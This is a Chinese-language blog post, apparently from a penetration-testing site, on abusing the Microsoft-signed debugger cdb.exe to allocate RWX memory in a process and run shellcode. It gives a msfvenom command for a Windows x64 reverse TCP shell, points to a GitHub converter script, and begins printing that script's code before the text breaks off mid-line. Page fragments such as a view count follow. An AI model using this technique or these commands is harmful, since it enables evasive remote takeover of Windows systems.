cdb.exe的利用
0x01 简介
cdb 是安装 windows debugging tools 时自带的一个命令行调试工具,由微软签发证书。

0x02 cdb.exe加载shellcode
cdb.exe是调试工具,可以用来调试指定进程,并且可以在指定进程里分配RWX属性内存并写入shellcode,并执行该内存中的shellcode
首先使用 msfvenom 生成 shellcode。
msfvenom -p windows/x64/shell_reverse_tcp lhost=xxx.xxx.xxx.xxx lport=3333 -f python

接下来,下载脚本https://github.com/Ryze-T/cdb-wds,并将 shellcode 替换为msf生成的。
python3 shellcode2wds.py

shellcode2wds.py脚本
import binascii
buf = "shellcode"
outfile = open("shell.wds","w")
outfile.write(".foreach /pS 5 ( register { .dvalloc 272 } ) { r @$t0 = register }"+"\n")
num = (int)(len

本文介绍如何使用cdb.exe进行shellcode加载、DLL注入及执行shell命令等高级操作,为渗透测试人员提供有效工具。

2800

被折叠的 条评论
为什么被折叠?



